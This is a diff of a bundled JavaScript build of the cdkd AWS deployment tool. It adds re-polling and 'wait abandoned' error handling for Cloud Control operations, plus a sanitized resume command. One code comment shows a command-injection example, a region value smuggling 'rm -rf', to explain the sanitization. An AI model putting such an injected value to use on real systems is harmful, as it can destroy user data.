-				if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
-			}
-			result = result.replace(fullMatch, () => resolved);
-			twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
 		}
 		if (context) this.rememberLogTwin(context, result, twin);
 		return {
@@ -29343,6 +30669,99 @@ function slowCcOperationTimeoutMs(resourceType, operation) {
 	}
 }
 
+//#endregion
+//#region src/provisioning/wait-abandoned.ts
+/**
+* The "cdkd stopped watching an operation that may still be running" marker
+* (issue [#3236](https://github.com/go-to-k/cdkd/issues/3236), widened by
+* [#3253](https://github.com/go-to-k/cdkd/issues/3253)).
+*
+* `CloudControlWaitAbandonedError` is raised in `cloud-control-provider.ts`,
+* but FIVE call sites have to refuse it, and three of them live in other
+* files. Four are GOVERNED by
+* `tests/unit/provisioning/wait-abandoned-guard-population.test.ts`:
+*
+*  - `cloud-control-provider.ts`'s own `delete()` catch,
+*  - `deploy-engine.ts`'s replacement delete-then-CREATE arm,
+*  - `deploy-engine.ts`'s template-removal delete arm,
+*  - `destroy-runner.ts`'s per-resource delete loop.
+*
+* The FIFTH is `cleanupFailedCreateRemnant`, and it is outside that population
+* by construction rather than by oversight: its partner classifier is the
+* REGEX helper `isNotFoundMessage`, which carries no literal needles, so no
+* needle-driven scan can find it. It has a behavioural case instead, and it
+* needs the guard for a sharper reason than the other four — that regex is
+* case-INSENSITIVE, so `getaddrinfo ENOTFOUND ...` matches `/not\s*found/i`.
+*
+* Each decides "the resource is already gone" by SUBSTRING-matching the error
+* message, and each then DROPS the state row. An abandoned wait says the
+* opposite — the delete may still be running — and its message interpolates
+* the LOGICAL ID and the last-seen IDENTIFIER, both user- or template-chosen,
+* so a resource named `PageNotFound` satisfies those needles. Round 1 of
+* go-to-k/cdkd#3249 guarded the first site with a local `instanceof` and left
+* the other three, which is what this module exists to fix: ONE predicate the
+* three foreign sites can import without importing the provider.
+*
+* **A marker rather than an exported class + `instanceof`**, for the reason
+* `markNonRetryable` is one: `deploy-engine.ts` reaches the provider only
+* through `ProviderRegistry`, so importing the class there would add an edge
+* into an already dense ring, and a marker survives a wrapper that copies a
+* message without preserving a prototype.
+*
+* **NOT `markNonRetryable`**, though the mechanism is identical: a DELETE or
+* UPDATE abandonment is deliberately left RETRYABLE so the destroy runner can
+* re-issue an idempotent delete, and only CREATE is marked. Reusing that
+* marker would either make the guards miss DELETE — the case that drops a
+* state row — or make a DELETE non-retryable and lose the recovery.
+*
+* A LEAF: no imports, ever. All four consumers sit on the deploy engine ->
+* rollback executor -> registry -> provider ring, and a new edge into it from
+* any of them would close a cycle.
+*/
+const WAIT_ABANDONED_MARKER = Symbol.for("cdkd.waitAbandoned");
+/**
+* The `.cause` walk depth, the same bound `retryable-errors.ts` uses. cdkd
+* wraps errors, so the marked error is routinely one or two hops down.
+*/
+const MAX_CAUSE_CHAIN_DEPTH = 5;
+/**
+* Stamp an error as an abandoned wait.
+*
+* `E extends Error`, not `object`: the reader below is a PROTOTYPE-CHAIN
+* lookup, so marking a class or a shared prototype would silently mark every
+* instance of it. A non-extensible (frozen / sealed) error is returned
+* UNMARKED rather than allowed to throw — callers use this inline, so a
+* `TypeError` raised here would REPLACE the error the caller meant to raise.
+* Both rules are `markNonRetryable`'s, for its reasons.
+*/
+function markWaitAbandoned(error) {
+	if (!Object.isExtensible(error)) return error;
+	Object.defineProperty(error, WAIT_ABANDONED_MARKER, {
+		value: true,
+		enumerable: false,
+		configurable: true,
+		writable: false
+	});
+	return error;
+}
+/**
+* True when the error, or anything in its bounded `.cause` chain, was marked
+* by {@link markWaitAbandoned}.
+*
+* Every already-deleted classifier must test this BEFORE its substring match,
+* and must treat a true answer as "not already deleted" — i.e. re-throw. The
+* ordering is the whole point: a message-first guard has already decided by
+* the time it would consult the marker.
+*/
+function isWaitAbandonedError(error) {
+	let current = error;
+	for (let depth = 0; depth < MAX_CAUSE_CHAIN_DEPTH && current != null; depth++) {
+		if (current[WAIT_ABANDONED_MARKER] === true) return true;
+		current = current.cause;
+	}
+	return false;
+}
+
 //#endregion
 //#region src/provisioning/cloud-control-provider.ts
 /**
@@ -29411,6 +30830,227 @@ var CloudControlOperationFailedError = class CloudControlOperationFailedError ex
 	}
 };
 /**
+* Thrown when cdkd STOPPED WAITING on a Cloud Control operation it had already
+* submitted — never when the operation itself reported a verdict (issue
+* [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
+*
+* Deliberately NOT a subclass of {@link CloudControlOperationFailedError}, and
+* the distinction is load-bearing in three places that key off that class:
+* `cleanupFailedCreateRemnant`'s first guard, `delete()`'s structured
+* `ErrorCode: NotFound` absorption, and `isUpdateUnsupportedError`'s chain
+* walk. All three ask "what did the handler report", and the answer here is
+* NOTHING — the handler was still running when cdkd lost sight of it. In
+* particular the remnant cleanup must not fire: it deletes by
+* `error.physicalId`, and an identifier seen on an IN_PROGRESS event names a
+* resource whose create may be about to SUCCEED.
+*
+* Carries {@link requestToken} because that token is the only handle on an
+* operation cdkd has no state record for, and Cloud Control keeps a request's
+* status queryable by it well after the operation settles. Before this class
+* the token lived only in `waitForOperation`'s parameter list, so a poll that
+* threw discarded it and the resource — which AWS went on to create — became
+* invisible to state, to rollback and to `cdkd destroy`.
+*
+* **The protection is the MARKER, not the wording** — `markWaitAbandoned` in
+* the constructor below, which four already-deleted classifiers test before
+* their substring match (`src/provisioning/wait-abandoned.ts` names them;
+* `.claude/rules/cloud-control-wait.md` carries the whole contract). An
+* earlier revision of this comment said the wording was the protection, and
+* that is exactly what review disproved: the message interpolates the LOGICAL
+* ID and the last-seen IDENTIFIER, both user- or template-chosen, so a
+* resource named `PageNotFound` satisfies every needle no matter how carefully
+* the template is worded.
+*
+* The wording constraint is still KEPT as a second layer — the message avoids
+* the phrases where it can, the same discipline `src/deployment/delete-outcome.ts`
+* and `src/provisioning/nested-stack-messages.ts` carry, and
+* `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts` asserts it
+* over the RENDERED message (cause text and identifier clause included) rather
+* than over the template. But it is belt to the marker's braces. Do not reword
+* this comment back into a claim that it suffices.
+*/
+var CloudControlWaitAbandonedError = class CloudControlWaitAbandonedError extends ProvisioningError {
+	requestToken;
+	ccOperation;
+	/**
+	* The `Identifier` from the last progress event cdkd managed to read, when
+	* one carried it. Cloud Control populates it on IN_PROGRESS events once the
+	* handler has materialized the resource, so on a CREATE this is frequently
+	* the physical id of the very resource that is about to go untracked — worth
+	* printing, and deliberately NOT worth acting on (see the remnant-cleanup
+	* note above).
+	*/
+	lastSeenIdentifier;
+	constructor(message, resourceType, logicalId, requestToken, ccOperation, lastSeenIdentifier, cause) {
+		super(message, resourceType, logicalId, lastSeenIdentifier, cause);
+		this.requestToken = requestToken;
+		this.ccOperation = ccOperation;
+		this.lastSeenIdentifier = lastSeenIdentifier;
+		this.name = "CloudControlWaitAbandonedError";
+		Object.setPrototypeOf(this, CloudControlWaitAbandonedError.prototype);
+		markWaitAbandoned(this);
+	}
+};
+/**
+* Node / undici socket-level failure codes, i.e. the request never reached
+* Cloud Control or its response never came back.
+*
+* Mirrors `@smithy/service-error-classification`'s own
+* `NODEJS_TIMEOUT_ERROR_CODES` (`ECONNRESET` / `ECONNREFUSED` / `EPIPE` /
+* `ETIMEDOUT`), widened by the DNS and route shapes a dropped VPN also
+* produces. The SDK already retries every one of these under STANDARD mode —
+* three attempts, sub-second — so an error that reaches cdkd here is one the
+* SDK's own budget did not outlast, not one it declined to retry.
+*/
+const POLL_TRANSPORT_ERROR_CODES = /* @__PURE__ */ new Set([
+	"ECONNRESET",
+	"ECONNREFUSED",
+	"ECONNABORTED",
+	"EPIPE",
+	"ETIMEDOUT",
+	"ENOTFOUND",
+	"EAI_AGAIN",
+	"EHOSTUNREACH",
+	"ENETUNREACH",
+	"ENETDOWN",
+	"EPROTO"
+]);
+/** SDK error names for a request that timed out or was aborted in transit. */
+const POLL_TRANSPORT_ERROR_NAMES = /* @__PURE__ */ new Set([
+	"TimeoutError",
+	"RequestTimeout",
+	"RequestTimeoutException",
+	"RequestAbortedException"
+]);
+/**
+* Matches one of {@link POLL_TRANSPORT_ERROR_CODES} as a whole word inside a
+* message that lost its `code` property.
+*
+* DERIVED from the set rather than hand-spelled, so the two can never disagree
+* about which codes count — and so the pattern cannot be wrong about a code's
+* LENGTH, which a hand-written `E[A-Z]{3,10}` was: it is eleven characters
+* after the `E` in `ECONNREFUSED`, the exact code the issue reported, so the
+* arm silently matched nothing for the case it was added for.
+*/
+const POLL_TRANSPORT_CODE_IN_MESSAGE = new RegExp(`\\b(?:${[...POLL_TRANSPORT_ERROR_CODES].join("|")})\\b`);
+/**
+* The `.cause` walk depth. It is `retryable-errors.ts`'s `MAX_CAUSE_CHAIN_DEPTH`
+* VALUE, and equality is the requirement rather than a coincidence: a transport
+* code this predicate finds at a depth `isThrottlingError` /
+* `isMarkedNonRetryable` / `isRetryableTransientError` structurally cannot
+* reach means two classifiers answering differently about one chain, which is
+* the divergence this area keeps collapsing. A literal because that constant is
+* module-private there, and `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts`
+* pins the pair by building a chain one hop deeper than the bound and asserting
+* BOTH refuse it -- a claim an earlier revision made with no such case behind
+* it, which is exactly the shape a fence audit greps for.
+*
+* cdkd wraps errors (`ProvisioningError` keeps the raw one as `cause`), so the
+* socket error is routinely one or two hops down; the bound also keeps a cyclic
+* chain from hanging the classifier.
+*/
+const POLL_CAUSE_CHAIN_DEPTH = 5;
+/**
+* Decide what a `GetResourceRequestStatus` failure may say outside `--verbose`.
+*
+* ONE function because there are TWO readers and they must not disagree about
+* one error: `abandonWait`, whose message is persisted verbatim into
+* `deployments/{runId}.jsonl`, and the re-poll `logger.warn`, which runs at
+* DEFAULT verbosity. They were separate, and the gap was reachable rather than
+* theoretical -- `POLL_TRANSPORT_CODE_IN_MESSAGE` matches a socket code
+* ANYWHERE in the message, so a `credential_process` stderr that happens to
+* contain `ETIMEDOUT` classifies as transient, and the warn printed the helper
+* argv and stderr on every re-poll while the abandonment that eventually
+* followed reduced them.
+*
+* The authorship decision is `describeAwsFailure`'s, not a local copy. It was
+* one for a while: this module fixed the `$metadata`-presence defect before the
+* shared helper could, and carried its own three-arm predicate with a comment
+* saying why. Issue [#3297](https://github.com/go-to-k/cdkd/issues/3297) fixed
+* the helper and deleted the duplicate, so one error can no longer be
+* classified two ways. The measurements behind those arms -- what smithy stamps
+* and on what, why credential resolution carries neither signal, and which
+* `*ProviderError` siblings are deliberately left raw -- live with the
+* predicate now, in `aws-failure-text.ts`.
+*/
+function describePollFailure(error) {
+	if (error === void 0) return {
+		display: "",
+		detail: "",
+		marker: false
+	};
+	if (!(error instanceof Error)) {
+		const other = describeAwsFailure(error);
+		return {
+			display: other.summary,
+			detail: other.detail,
+			marker: false
+		};
+	}
+	const described = describeAwsFailure(error);
+	if (!described.redacted) return {
+		display: error.message,
+		detail: "",
+		marker: false
+	};
+	if (error.message === "") return {
+		display: "",
+		detail: "",
+		marker: false
+	};
+	return {
+		display: described.summary,
+		detail: described.detail,
+		marker: true
+	};
+}
+/**
+* True when a `GetResourceRequestStatus` call failed for a reason that says
+* nothing about the OPERATION — the poll could not be delivered or answered,
+* so re-polling the same token is the correct response.
+*
+* Fail-CLOSED: an unmodelled shape answers false, so the wait is not RETRIED.
+* It is still ABANDONED rather than aborted bare — the caller carries the
+* request token out on that arm too, since losing the handle is issue #3236's
+* defect whatever the trigger. The safe direction here is about retrying, not
+* about reporting: the errors this must NOT absorb are the ones a retry can
+* only re-derive —
+* `RequestTokenNotFoundException` (the token is genuinely gone),
+* `AccessDeniedException`, `ValidationException`.
+*
+* Throttles and transient 5xx are in scope alongside transport, and not as a
+* generalization for its own sake: they are the same defect with a different
+* trigger, and the throttle case is the WORSE of the two today. The abort
+* is retryable by BOTH routes the classifier offers — `isThrottlingError`'s
+* chain walk over the threaded cause, and (before the cause is reduced to its
+* wire code) AWS's own `Rate exceeded` wording against
+* `RETRYABLE_ERROR_MESSAGE_PATTERNS` — so the deploy engine's outer `withRetry`
+* re-invokes `create()` and duplicates a resource that is already being created
+* (go-to-k/cdkd#2039), where the transport case merely loses track of one.
+* Measured, not assumed: `isRetryableTransientError` answers true for a
+* throttle and false for `connect ECONNREFUSED ...`.
+*
+* The message arm exists for a wrapper that dropped `.code` while keeping the
+* text. It is scoped by its SOURCE — the only input is an error thrown by the
+* SDK out of `cloudControlClient.send`, never template- or user-authored text
+* — so an `E`-prefixed token there denotes a socket error rather than
+* something a user happened to type.
+*/
+function isTransientPollFailure(error) {
+	if (isThrottlingError(error) || isTransientServerError(error)) return true;
+	let current = error;
+	for (let depth = 0; depth < POLL_CAUSE_CHAIN_DEPTH && current != null; depth++) {
+		const code = current.code;
+		if (typeof code === "string" && POLL_TRANSPORT_ERROR_CODES.has(code)) return true;
+		const name = current.name;
+		if (typeof name === "string" && POLL_TRANSPORT_ERROR_NAMES.has(name)) return true;
+		const message = current.message;
+		if (typeof message === "string" && POLL_TRANSPORT_CODE_IN_MESSAGE.test(message)) return true;
+		current = current.cause;
+	}
+	return false;
+}
+/**
 * Matches service-worded "the resource is gone" failure messages, including
 * shapes whose wording lacks the canonical `not found` substring (CodeDeploy:
 * "No Deployment Group found for name: ..."). Deliberately scoped to the
@@ -29614,6 +31254,34 @@ var CloudControlProvider = class {
 	MAX_WAIT_TIME_MS = 9e5;
 	INITIAL_POLL_INTERVAL_MS = 1e3;
 	MAX_POLL_INTERVAL_MS = 1e4;
+	/**
+	* How long an UNBROKEN run of transient poll failures is tolerated before
+	* `waitForOperation` gives up and throws {@link CloudControlWaitAbandonedError}
+	* (issue #3236). Reset by any poll that gets an answer, so it measures one
+	* outage rather than a session's total flakiness.
+	*
+	* It is a SECOND bound INSIDE the existing wall-clock budget, never an
+	* extension of one: the `while` condition below still holds, so re-polling
+	* can only consume time the wait already had. `slow-cc-operation-timeouts.ts`
+	* couples that budget to the two outer per-resource deadlines deliberately,
+	* and a separate attempt budget able to outlive it would break the coupling.
+	*
+	* Two minutes because the failures that reach this loop have already
+	* outlasted the SDK's own three STANDARD-mode attempts, so the population is
+	* outages of seconds to minutes — a VPN reconnect, a DHCP renew, a throttle
+	* that needs more than the SDK's sub-second backoff. Waiting the FULL budget
+	* instead (up to 60 min for a slow type) would buy nothing the resume hint
+	* does not: past this point the operation is equally unreachable, and the
+	* user gets the same request token thirteen to fifty-eight minutes sooner.
+	*/
+	POLL_TRANSIENT_GRACE_MS = 12e4;
+	/**
+	* The grace `disableCcProtection`'s wait takes instead (issue
+	* go-to-k/cdkd#3253 item 1). Its call site carries the reasoning; the short
+	* version is that the flip is best-effort and swallowed, so a long wait there
+	* is dead wall clock on a destroy that is failing anyway.
+	*/
+	PROTECTION_FLIP_TRANSIENT_GRACE_MS = 1e4;
 	constructor() {
 		const awsClients = getAwsClients();
 		this.cloudControlClient = awsClients.cloudControl;
@@ -29689,17 +31357,21 @@ var CloudControlProvider = class {
 		try {
 			const cleanupResult = await this.delete(logicalId, error.physicalId, resourceType);
 			if (cleanupResult?.outcome === "skipped") {
-				this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}: ${cleanupResult.reason} — a retry may fail with AlreadyExists until it is removed manually`);
+				this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(cleanupResult.reason)}`);
 				return;
 			}
 			this.logger.debug(`Removed failed-create remnant ${error.physicalId} for ${logicalId}`);
 		} catch (cleanupError) {
 			const message = cleanupError instanceof Error ? cleanupError.message : String(cleanupError);
+			if (isWaitAbandonedError(cleanupError)) {
+				this.logger.warn(`Could not confirm whether the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was removed (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
+				return;
+			}
 			if (isNotFoundMessage(message)) {
 				this.logger.info(`The remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was already gone (not found); nothing to clean up`);
 				return;
 			}
-			this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}: ${message} — a retry may fail with AlreadyExists until it is removed manually`);
+			this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
 		}
 	}
 	/**
@@ -29770,7 +31442,7 @@ var CloudControlProvider = class {
 		const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
 		if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
 			this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
-			const { ASGProvider } = await import("./asg-provider-BPBdAAGQ.js").then((n) => n.n);
+			const { ASGProvider } = await import("./asg-provider-ac412LEP.js").then((n) => n.n);
 			const asgProvider = new ASGProvider();
 			return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
 		}
@@ -29793,7 +31465,8 @@ var CloudControlProvider = class {
 			return withIndeterminateGuard(void 0, indeterminateGuard);
 		} catch (error) {
 			const err = error;
-			if (error instanceof CloudControlOperationFailedError && error.ccOperation === "DELETE" && error.ccErrorCode === "NotFound" || err.name === "ResourceNotFoundException" || err.message?.includes("does not exist") || err.message?.includes("not found") || err.message?.includes("NotFound")) {
+			const notFoundErrorCode = error instanceof CloudControlOperationFailedError && error.ccOperation === "DELETE" && error.ccErrorCode === "NotFound";
+			if (!isWaitAbandonedError(error) && (notFoundErrorCode || err.name === "ResourceNotFoundException" || err.message?.includes("does not exist") || err.message?.includes("not found") || err.message?.includes("NotFound"))) {
 				await this.assertRecordedRegionAgainstClient("not-found", context?.expectedRegion, resourceType, logicalId, physicalId);
 				this.logger.debug(`Resource ${logicalId} already deleted (not found), treating as success`);
 				return withIndeterminateGuard(void 0, indeterminateGuard);
@@ -29858,7 +31531,7 @@ var CloudControlProvider = class {
 		try {
 			clientRegion = canonicalizeRegion((await this.cloudControlClient.config.region())?.trim());
 		} catch (error) {
-			this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${error instanceof Error ? error.message : String(error)}`);
+			this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${displaySafe(describeAwsFailure(error).detail)}`);
 			clientRegion = void 0;
 		}
 		try {
@@ -30021,11 +31694,14 @@ var CloudControlProvider = class {
 				this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId}: no request token received; proceeding with delete`);
 				return;
 			}
-			await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType);
+			await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType, this.PROTECTION_FLIP_TRANSIENT_GRACE_MS);
 			this.logger.debug(`Disabled ${protectionProperty} on ${logicalId}`);
 		} catch (error) {
-			const message = error instanceof Error ? error.message : String(error);
-			this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId} (${resourceType}): ${message}; proceeding with delete`);
+			const described = describePollFailure(error);
+			const safeMessage = displaySafe(described.display);
+			this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId} (${resourceType}), proceeding with delete${safeMessage === "" ? "" : `: ${safeMessage}`}`);
+			const detail = described.detail;
+			if (detail !== "") this.logger.debug(`Could not disable ${protectionProperty} on ${logicalId}, underlying failure: ${displaySafe(detail)}`);
 		}
 	}
 	/**
@@ -30045,17 +31721,61 @@ var CloudControlProvider = class {
 		}
 	}
 	/**
-	* Wait for an asynchronous operation to complete
+	* Wait for an asynchronous operation to complete.
+	*
+	* Reached from FOUR call sites — `create()`, `update()`, `delete()` and
+	* `disableCcProtection()` — so everything here is CREATE / UPDATE / DELETE
+	* behavior at once.
+	*
+	* The poll is fenced against its own transport (issue #3236). Before that,
+	* a `GetResourceRequestStatus` that failed for ANY reason propagated out of
+	* this loop, out of `create()`, and took the `RequestToken` — which lives
+	* only in this parameter list — with it. The Cloud Control operation keeps
+	* running server-side regardless, so a CREATE that AWS went on to complete
+	* left a live resource with no state record: invisible to rollback, to
+	* `cdkd destroy`, and to `cleanupFailedCreateRemnant` (whose first guard
+	* admits only a `CloudControlOperationFailedError`, which a transport
+	* failure never is). Reported against a `AWS::RDS::DBInstance` whose CREATE
+	* outlived a dropped VPN; the untracked instance then blocked the deletion
+	* of five tracked resources that depended on it.
+	*
+	* Re-polling is IDEMPOTENT in a way replaying the create is not, which is
+	* what makes this the right layer for the fix: `GetResourceRequestStatus`
+	* invokes no resource handler and the token is unchanged across attempts, so
+	* the duplicate-create hazard of go-to-k/cdkd#2039 is structurally absent.
+	* The complementary half is {@link CloudControlWaitAbandonedError}, for the
+	* outage that outlives the grace or the budget.
 	*/
-	async waitForOperation(requestToken, logicalId, operation, resourceType) {
+	async waitForOperation(requestToken, logicalId, operation, resourceType, transientGraceMs = this.POLL_TRANSIENT_GRACE_MS) {
 		const startTime = Date.now();
 		let attempts = 0;
 		let pollInterval = this.INITIAL_POLL_INTERVAL_MS;
+		let lastSeenIdentifier;
+		let transientOutageStartedAt;
+		let lastTransientError;
 		const maxWaitMs = Math.max(this.MAX_WAIT_TIME_MS, slowCcOperationTimeoutMs(resourceType, operation));
 		while (Date.now() - startTime < maxWaitMs) {
 			attempts++;
-			const progressEvent = (await this.cloudControlClient.send(new GetResourceRequestStatusCommand({ RequestToken: requestToken }))).ProgressEvent;
+			let statusResponse;
+			try {
+				statusResponse = await this.cloudControlClient.send(new GetResourceRequestStatusCommand({ RequestToken: requestToken }));
+			} catch (error) {
+				if (!isTransientPollFailure(error)) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, "cdkd could not read the operation status and the failure is not retryable", error);
+				transientOutageStartedAt ??= Date.now();
+				lastTransientError = error;
+				const outageMs = Date.now() - transientOutageStartedAt;
+				if (outageMs >= transientGraceMs) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `cdkd could not reach Cloud Control API for ${Math.round(outageMs / 1e3)}s`, error);
+				const safePollText = displaySafe(describePollFailure(error).display);
+				this.logger.warn(`${operation} ${logicalId}: could not read the Cloud Control operation status (attempt ${attempts})${safePollText === "" ? "" : `: ${safePollText}`} — the operation may still be running in AWS; re-polling the same request token in ${pollInterval}ms`);
+				await this.sleep(pollInterval);
+				pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
+				continue;
+			}
+			transientOutageStartedAt = void 0;
+			lastTransientError = void 0;
+			const progressEvent = statusResponse.ProgressEvent;
 			if (!progressEvent) throw new ProvisioningError(`Failed to get status for ${logicalId}: No progress event`, "Unknown", logicalId);
+			if (progressEvent.Identifier) lastSeenIdentifier = progressEvent.Identifier;
 			this.logger.debug(`${operation} ${logicalId}: ${progressEvent.OperationStatus} (attempt ${attempts}, next poll ${pollInterval}ms)`);
 			switch (progressEvent.OperationStatus) {
 				case "SUCCESS": return progressEvent;
@@ -30075,12 +31795,93 @@ var CloudControlProvider = class {
 					pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
 			}
 		}
-		throw new ProvisioningError(`${operation} timeout for ${logicalId} after ${maxWaitMs / 1e3}s`, "Unknown", logicalId);
+		throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `${operation} timeout for ${logicalId} after ${maxWaitMs / 1e3}s`, lastTransientError);
+	}
+	/**
+	* Build the {@link CloudControlWaitAbandonedError} for a wait cdkd is giving
+	* up on while the operation is, as far as cdkd knows, still running (issue
+	* [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
+	*
+	* Returns rather than throws so every call site reads `throw await
+	* this.abandonWait(...)` — the `throw` stays visible at the site, which is
+	* what keeps the control flow legible to the compiler and to a reader.
+	*
+	* CREATE is marked non-retryable and the other two are not, and the
+	* asymmetry is the whole point rather than an oversight:
+	*
+	*  - **CREATE** — a replay issues a SECOND `CreateResource` for a resource
+	*    the first call is already creating, which is go-to-k/cdkd#2039's
+	*    duplicate-create. It must be refused, and the marker is what refuses
+	*    it — but by a different mechanism than an earlier revision of this
+	*    comment claimed. That one said the message interpolates AWS's own
+	*    `Rate exceeded`, which `RETRYABLE_ERROR_MESSAGE_PATTERNS` matches; a
+	*    real `ThrottlingException` carries `$fault`, so its cause is REDUCED to
+	*    the wire code and the message no longer contains that wording.
+	*    Re-measured at this head: without the marker `isRetryableTransientError`
+	*    still answers TRUE, via `isThrottlingError`'s CHAIN walk over the
+	*    threaded cause rather than via the message. The marker stays
+	*    load-bearing; only the route changed.
+	*  - **DELETE** — a replay issues a second `DeleteResource`, which is
+	*    idempotent: if the first delete landed, the retry meets the
+	*    already-gone signal `delete()` absorbs. Retrying is strictly better
+	*    than surfacing a failure over a resource that may be gone.
+	*  - **UPDATE** — a replay re-derives and re-sends the same patch, the
+	*    behavior every other UPDATE failure already gets.
+	*/
+	async abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, reason, cause) {
+		const described = describePollFailure(cause);
+		const safeDisplay = displaySafe(described.display);
+		const causeText = safeDisplay === "" ? "" : `: ${safeDisplay}`;
+		if (described.detail !== "") this.logger.debug(`${operation} ${logicalId}: the abandoned operation's underlying failure was: ${displaySafe(described.detail)}`);
+		const identifierClause = lastSeenIdentifier === void 0 ? "" : ` The last status cdkd read named the resource ${displaySafe(lastSeenIdentifier, { asciiOnly: true })}.`;
+		const error = new CloudControlWaitAbandonedError(`${operation} of ${logicalId} was accepted by Cloud Control API, but cdkd stopped waiting for it (${reason}${causeText}). The operation may still be running in AWS, and ${operation === "CREATE" ? "cdkd has NO state record for it, so any resource it creates is untracked by rollback and by cdkd destroy" : operation === "DELETE" ? "the resource may or may not have been removed; its state record is kept so a re-run can finish the delete" : "its state record still holds the PREVIOUS properties, so the record may no longer describe the live resource"}.${identifierClause} Check what it did with:\n  ${await this.buildResumeCommand(requestToken)}`, resourceType, logicalId, requestToken, operation, lastSeenIdentifier, cause instanceof Error ? cause : void 0);
+		if (described.marker) markRedactedCause(error);
+		return operation === "CREATE" ? markNonRetryable(error) : error;
+	}
+	/**
+	* The `aws cloudcontrol get-resource-request-status` line an abandoned wait
+	* hands the user — the only way back to an operation cdkd has no record of.
+	*
+	* SANITIZE-then-QUOTE-then-SUPPRESS, the full convention
+	* `replacement-protection-advice.ts` applies (issue
+	* [#2669](https://github.com/go-to-k/cdkd/issues/2669)) — quoting ALONE is
+	* not it, and the gap is not theoretical here. The region comes from
+	* `config.region()`, i.e. `--region` / `AWS_REGION` / a profile's `region =`
+	* line, so it is USER text: `AWS_REGION=$'us-east-1\nrm -rf x'` is inert once
+	* `shellQuote` wraps it, and still renders a two-line "recovery command" on
+	* the terminal and into `deployments/{runId}.jsonl` — the forgery
+	* `lock-contention-message.ts` says quoting does not cover. So each part is
+	* `displaySafe`d first and DROPPED when sanitizing changed it: the region
+	* flag is simply omitted (absent is already legal — the user supplies their
+	* own), and a changed TOKEN suppresses the whole command, since a command
+	* naming the wrong operation is worse than none.
+	*
+	* The region is best-effort in a second sense: `config.region` is a resolver
+	* that can throw (no credentials, no configured region), and a wait that
+	* already failed must not fail a second time inside its own error message.
+	*/
+	async buildResumeCommand(requestToken) {
+		const safeToken = displaySafe(requestToken, { asciiOnly: true });
+		if (!safeToken || safeToken !== requestToken) return "(cdkd cannot render a safe resume command for this request token — see the Cloud Control console)";
+		let region;
+		try {
+			region = (await this.cloudControlClient.config.region())?.trim();
+		} catch {
+			region = void 0;
+		}
+		const safeRegion = region === void 0 || region === "" || displaySafe(region, { asciiOnly: true }) !== region ? void 0 : region;
+		const regionFlag = safeRegion === void 0 ? "" : ` --region ${shellQuote(safeRegion)}`;
+		return `aws cloudcontrol get-resource-request-status --request-token ${shellQuote(safeToken)}${regionFlag}`;
 	}
 	/**
 	* Parse resource model JSON string.
 	*
-	* On a parse failure this logs the error plus the model's SHAPE — never its
+	* On a parse failure the WARN line logs the error's CLASS plus the model's
+	* SHAPE. The `debug` line beside it DOES carry the raw parser message, echo
+	* included, and naming that carve-out is the point (issue
+	* [#3290](https://github.com/go-to-k/cdkd/issues/3290)): an unqualified
+	* promise that a sibling line falsifies is exactly what that issue was filed
+	* for. What follows is about the WARN line — never its
 	* body (issue #1908, a GHSA-p5qg-v9gv-hc7w residual). The model is an AWS
 	* readback, and a read handler cannot return write-only properties (the #809
 	* premise), so the common secret shapes are absent — but a `{{resolve:...}}`
@@ -30098,8 +31899,9 @@ var CloudControlProvider = class {
 		try {
 			return JSON.parse(resourceModel);
 		} catch (error) {
-			const errorMessage = error instanceof Error ? error.message : String(error);
-			this.logger.warn(`Failed to parse resource model: ${errorMessage}\nModel shape: ${resourceModel.length} chars, ${describeJsonKeys(resourceModel)}`);
+			const described = describeAwsFailure(error);
+			this.logger.warn(`Failed to parse resource model: ${described.redacted ? described.summary : error instanceof Error ? error.name : "Error"}\nModel shape: ${resourceModel.length} chars, ${describeJsonKeys(resourceModel)}`);
+			this.logger.debug(`Resource model parse failure detail: ${displaySafe(described.detail)}`);
 			return {};
 		}
 	}
@@ -30162,7 +31964,7 @@ var CloudControlProvider = class {
 						this.logger.debug(`Enriched RDS DBCluster ${physicalId} with Endpoint/Port/Arn from DescribeDBClusters`);
 					}
 				} catch (error) {
-					this.logger.debug(`Failed to enrich RDS DBCluster ${physicalId}: ${error instanceof Error ? error.message : String(error)}`);
+					this.logger.debug(`Failed to enrich RDS DBCluster ${physicalId}: ${describeAwsFailure(error).detail}`);
 				}
 				break;
